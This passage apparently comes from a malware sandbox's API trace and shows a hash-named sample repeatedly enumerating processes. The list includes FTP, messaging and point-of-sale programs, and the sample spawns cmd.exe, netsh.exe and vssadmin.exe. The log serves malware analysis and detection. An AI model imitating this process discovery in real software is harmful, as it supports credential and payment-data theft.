lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="employee.exe")) returned 1 [0058.669] GetLastError () returned 0x12 [0058.669] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="music.exe")) returned 1 [0058.786] GetLastError () returned 0x12 [0058.787] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="societybitofficial.exe")) returned 1 [0058.788] GetLastError () returned 0x12 [0058.788] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="position_star.exe")) returned 1 [0058.788] GetLastError () returned 0x12 [0058.788] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="itself-material.exe")) returned 1 [0058.789] GetLastError () returned 0x12 [0058.789] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="homenothingbook.exe")) returned 1 [0058.790] GetLastError () returned 0x12 [0058.790] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mean.exe")) returned 1 [0058.790] GetLastError () returned 0x12 [0058.791] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="problem-public-use.exe")) returned 1 [0058.791] GetLastError () returned 0x12 [0058.791] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0058.792] GetLastError () returned 0x12 [0058.792] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0058.793] GetLastError () returned 0x12 [0058.793] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0058.793] GetLastError () returned 0x12 [0058.793] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0058.794] GetLastError () returned 0x12 [0058.794] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0058.795] GetLastError () returned 0x12 [0058.795] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0058.796] GetLastError () returned 0x12 [0058.796] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0058.796] GetLastError () returned 0x12 [0058.796] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0058.797] GetLastError () returned 0x12 [0058.797] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0058.798] GetLastError () returned 0x12 [0058.798] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0058.798] GetLastError () returned 0x12 [0058.799] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0058.799] GetLastError () returned 0x12 [0058.799] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0058.800] GetLastError () returned 0x12 [0058.800] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0058.801] GetLastError () returned 0x12 [0058.801] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0058.802] GetLastError () returned 0x12 [0058.802] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0058.803] GetLastError () returned 0x12 [0058.803] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0058.804] GetLastError () returned 0x12 [0058.804] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0058.805] GetLastError () returned 0x12 [0058.805] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0058.806] GetLastError () returned 0x12 [0058.806] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0058.807] GetLastError () returned 0x12 [0058.807] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0058.808] GetLastError () returned 0x12 [0058.808] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0058.809] GetLastError () returned 0x12 [0058.809] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0058.811] GetLastError () returned 0x12 [0058.811] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0058.812] GetLastError () returned 0x12 [0058.812] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0058.813] GetLastError () returned 0x12 [0058.813] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0058.813] GetLastError () returned 0x12 [0058.814] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0058.814] GetLastError () returned 0x12 [0058.814] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0058.815] GetLastError () returned 0x12 [0058.815] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0058.816] GetLastError () returned 0x12 [0058.816] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0058.817] GetLastError () returned 0x12 [0058.817] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0058.818] GetLastError () returned 0x12 [0058.818] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0058.819] GetLastError () returned 0x12 [0058.819] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0058.820] GetLastError () returned 0x12 [0058.820] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0058.821] GetLastError () returned 0x12 [0058.821] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0058.822] GetLastError () returned 0x12 [0058.822] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0058.823] GetLastError () returned 0x12 [0058.823] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0058.824] GetLastError () returned 0x12 [0058.824] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0058.824] GetLastError () returned 0x12 [0058.824] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0059.033] GetLastError () returned 0x12 [0059.033] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="livepresidentlight.exe")) returned 1 [0059.034] GetLastError () returned 0x12 [0059.034] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="remove patient teacher.exe")) returned 1 [0059.035] GetLastError () returned 0x12 [0059.035] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="certainlyknow.exe")) returned 1 [0059.035] GetLastError () returned 0x12 [0059.035] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0059.036] GetLastError () returned 0x12 [0059.036] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0059.037] GetLastError () returned 0x12 [0059.037] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0059.038] GetLastError () returned 0x12 [0059.038] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0059.039] GetLastError () returned 0x12 [0059.039] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0059.040] GetLastError () returned 0x12 [0059.040] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0059.041] GetLastError () returned 0x12 [0059.041] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0059.041] GetLastError () returned 0x12 [0059.041] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0059.042] GetLastError () returned 0x12 [0059.042] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0059.043] GetLastError () returned 0x12 [0059.043] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0059.045] GetLastError () returned 0x12 [0059.045] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0059.046] GetLastError () returned 0x12 [0059.046] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf24, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0059.046] GetLastError () returned 0x12 [0059.046] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xf2c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0059.047] GetLastError () returned 0x12 [0059.047] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0059.048] GetLastError () returned 0x12 [0059.048] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.049] GetLastError () returned 0x12 [0059.049] Process32NextW (in: hSnapshot=0x180, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0059.049] CloseHandle (hObject=0x180) returned 1 [0059.049] Sleep (dwMilliseconds=0x1f4) [0060.261] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x184 [0060.278] Process32FirstW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0060.279] GetLastError () returned 0x12 [0060.279] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0060.280] GetLastError () returned 0x12 [0060.280] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0060.280] GetLastError () returned 0x12 [0060.280] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.281] GetLastError () returned 0x12 [0060.281] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0060.282] GetLastError () returned 0x12 [0060.282] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.283] GetLastError () returned 0x12 [0060.283] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0060.283] GetLastError () returned 0x12 [0060.284] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0060.284] GetLastError () returned 0x12 [0060.285] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0060.285] GetLastError () returned 0x12 [0060.285] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0060.286] GetLastError () returned 0x12 [0060.286] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.287] GetLastError () returned 0x12 [0060.287] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, 